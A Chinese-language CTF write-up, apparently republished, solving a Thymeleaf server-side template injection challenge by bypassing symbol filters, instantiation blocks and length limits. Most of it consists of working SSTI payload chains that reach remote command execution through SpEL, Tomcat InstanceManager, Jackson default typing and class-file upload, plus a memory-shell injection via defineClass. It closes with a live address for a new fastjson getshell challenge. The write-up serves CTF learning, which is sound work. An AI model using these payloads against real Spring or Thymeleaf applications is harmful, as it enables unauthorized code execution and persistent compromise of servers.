ssti挑战——wp

admin 2026-03-12 22:52:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述了ThymeleafSSTI挑战题的解题过程,针对题目设计的三层防护机制:特殊符号过滤、对象实例化限制及长度限制,分别提出了利用$*{变形语法绕过检测、借助TomcatInstanceManager实例化SpEL解析器、以及通过ServletContext分步存储Payload等关键技术手段。文章还总结了利用Jackson反序列化、文件上传加载类等非预期解法,展示了多种实现RCE与内存马注入的路径,具有较高的实战参考价值,文末附带新的fastjson绕过挑战。 综合评分: 90 文章分类: WEB安全,漏洞分析,CTF,渗透测试,漏洞POC


cover_image

ssti挑战——wp

原创

珂字辈 珂字辈

珂技知识分享

2026年3月12日 10:35 湖北

前文

ssti挑战——有奖金

奖金获取情况,因为自己的失误改动过题目,因此改动前后的挑战者独立计算奖金。

改动前,JZX第一名,Miku0x39第二名。其中JZX在改动后也做出了非常优秀的解。

改动后,无敌暴龙战士第一名,JZX第二名,貔貅第三名,77/glzjin/北辰/chao也都做了出来。

无敌暴龙战士/貔貅/glzjin和预期解几乎一样,那就先说预期解,也就是thymeleaf模板注入。可以先阅读

Thymeleaf SSTI bypass历史

这题本质上有三层防护。

第一层防护,不让用$$。

原版containsExpression()的写法本质上是将两个特殊符号视作一轮检测。

其目的是想检测出【${】,同理包括【*{】【@ {】等等都会命中检测。但【$Q{】就不会,因此衍生出了【$${】这个payload。虽然看起来【$${】也包含【${】,但实际上【$$】是视为一轮检测的,原版能通过,后面【{…】再视为第二轮检测。

同理,【*${】,【#${】,【@${】,【~${】这些全部可以。

修复版containsExpression()在第二层增加了【$】检测,那么用【$${】绕过就不行了,但很容易从上面几个特殊符号得出提示,【*#@~】肯定有一个能帮助绕过,很容易尝试出来是【$*{】

__|$*{#ctx.getExchange().getNativeResponseObject().addHeader("cmd","test")}|__::.

第二层防护,不让用new。

而最新版thymeleaf将T和Class.forName()都封堵了,看起来几乎无法实例化类了。

我们可以从S2-061上取经,S2-061是从ognl的内置对象application上取到了org.apache.catalina.core.DefaultInstanceManager。

https://forum.butian.net/share/4037

而DefaultInstanceManager就很有用了,它存在newInstance方法帮我们实例化对象。

有两种方法都取得到

@servletContext.getAttribute('org.apache.tomcat.InstanceManager')#ctx.getExchange().getApplication().getAttributeValue("org.apache.tomcat.InstanceManager")

因此我们可以进行实例化了。

__|$*{#ctx.getExchange().getNativeResponseObject().addHeader("cmd",@servletContext.getAttribute('org.apache.tomcat.InstanceManager').newInstance('org.springframework.expression.spel.standard.SpelExpressionParser').toString())}|__::.

第三层防护,限制长度

这个就有多种小技巧。

1,利用一个不存在的函数单个请求执行多行代码

2,对反复使用的对象注册临时变量

__|$*{qqq(#w=#ctx.getExchange().getNativeResponseObject().getWriter(),#w.flush(),#w.write("qqq"))}|__::.

3,找到一处可以永久存储对象的地方,用来存储恶意对象,方便用多次请求来分解payload。

@servletContext.setAttribute("key", "value")#ctx.getExchange().getApplication().getNativeServletContextObject().setAttribute("key", "value")

因此简单的命令回显payload就出来了。

__|$*{@servletContext.setAttribute("p",@servletContext.getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.springframework.expression.spel.standard.SpelExpressionParser"))}|__::.__|$*{@servletContext.setAttribute("spel","n"%2B"ew java.util.Scanner(T"%2B"(java.lang.Runtime).getRuntime().exec('ping 127.0.0.1').getInputStream()).useDelimiter('\\a').next()")}|__::.__|$*{@servletContext.getAttribute("p").parseExpression(@servletContext.getAttribute("spel")).getValue()}|__::.__|$*{qqq(#w=#ctx.getExchange().getNativeResponseObject().getWriter(),#w.flush(),#w.write(@servletContext.getAttribute("p").parseExpression(@servletContext.getAttribute("spel")).getValue()))}|__::.

如果要打内存马呢?直接在setAttribute中多次累加payload即可。

__|$*{@servletContext.setAttribute("spel",@servletContext.getAttribute("spel")%2B"QQQQQQQQQQQQQQ")}|__::.

然后来介绍其他人的非预期。

77/北辰使用了new.XXX()的方式实例化对象(受Thymeleaf黑名单影响)。

new.com.fasterxml.jackson.databind.ObjectMapper()

北辰修改了上传文件路径到WEB-INF/classes/,进行类加载,比较优雅

__|**{#ctx.x(#r=#ctx.getExchange().getNativeRequestObject(),#f=#r.getServletContext().getRealPath("WEB-INF/classes/BS.class"),new.ch.qos.logback.core.FileAppender().openFile(#f),#r.getParts().get(0).write(#f),new.BS())}|__::.

JZX/chao使用了内置@jacksonObjectMapper对象来实例化对象,java代码如下。

        //@jacksonObjectMapper        ObjectMapper mapper = new ObjectMapper();     mapper.enableDefaultTyping();           JavaType  javaType = mapper.getTypeFactory().constructFromCanonical("org.springframework.expression.spel.standard.SpelExpressionParser");     SpelExpressionParser parser =  mapper.readValue("{}", javaType);       parser.parseExpression("T (java.lang.Runtime).getRuntime().exec(\"calc\")").getValue();

换成ssti如下。

__|$*{@jacksonObjectMapper.enableDefaultTyping()}|__::.__|$*{@servletContext.setAttribute("javatype",@jacksonObjectMapper.getTypeFactory().constructFromCanonical("org.springframework.expression.spel.standard.SpelExpressionParser"))}|__::.__|$*{@servletContext.setAttribute("parser",@jacksonObjectMapper.readValue("{}",@servletContext.getAttribute("javatype")))}|__::.__|$*{@servletContext.getAttribute("parser").parseExpression("T"%2B" (java.lang.Runtime).getRuntime().exec('calc')").getValue()}|__::.

小晨曦通过jackson反序列化实例化对象(受jackson黑名单影响),java代码如下。

        //@jacksonObjectMapper        ObjectMapper mapper = new ObjectMapper();     mapper.enableDefaultTyping();           String json1 = "{\r\n"             + "        \"a\": [\r\n"             + "            \"org.springframework.beans.factory.config.MethodInvokingFactoryBean\",\r\n"                + "            {\"staticMethod\": \"java.lang.Runtime.getRuntime\"}\r\n"              + "        ],\r\n"               + "        \"b\": [\r\n"             + "            \"org.springframework.beans.factory.config.MethodInvokingFactoryBean\",\r\n"                + "            {\r\n"              + "                \"targetMethod\": \"exec\",\r\n"             + "                \"arguments\": [\"calc\"]\r\n"                + "            }\r\n"              + "        ]"                + "}";       System.out.println(json1.replaceAll("\\s+", ""));              LinkedHashMap map = mapper.readValue(json1, LinkedHashMap.class);           MethodInvokingFactoryBean beanA =  (MethodInvokingFactoryBean) map.get("a");       beanA.afterPropertiesSet();       Runtime runtime =  (Runtime)beanA.getObject();           MethodInvokingFactoryBean beanB =  (MethodInvokingFactoryBean) map.get("b");       beanB.setTargetObject(runtime);       beanB.afterPropertiesSet();       beanB.getObject();

其中LinkedHashMap.class是这样取到的

@resourceHandlerMapping.urlMap.getClass()

ssti写法略过,比较复杂,有兴趣的自己写。

chao使用了http参数传递spel表达式,单请求回显,比较优雅。

username=__|$*{@jacksonObjectMapper.readValue("{}",@jacksonObjectMapper.getTypeFactory().findClass("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression(#ctx.getExchange().getNativeRequestObject().getParameter('a')).getValue()}|__::.&a=T (org.springframework.cglib.core.ReflectUtils).defineClass('payload.SpringEcho',T (org.springframework.util.Base64Utils).decodeFromString('yv66vgQQQQ'),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).newInstance()

那么ssti挑战的靶场就关闭了,有兴趣的自己搭建环境复现。

末尾附上最后一个挑战,这次没有奖金,算是P牛挑战的狗尾续貂。

http://104.160.44.44:8078/json

https://github.com/kezibei/vulnerable-challenge/tree/main/fastjson_jdbc

小明又知道这里有漏洞,但他认真修复了原组件的漏洞,你能绕过他的修复吗?要求getshell。

P牛挑战原文。

https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:珂技知识分享 珂字辈 珂字辈《ssti挑战——wp》

ssti挑战——wp 网络安全文章

ssti挑战——wp

文章总结: 本文详述了ThymeleafSSTI挑战题的解题过程,针对题目设计的三层防护机制:特殊符号过滤、对象实例化限制及长度限制,分别提出了利用$*{变形语
评论:0   参与:  0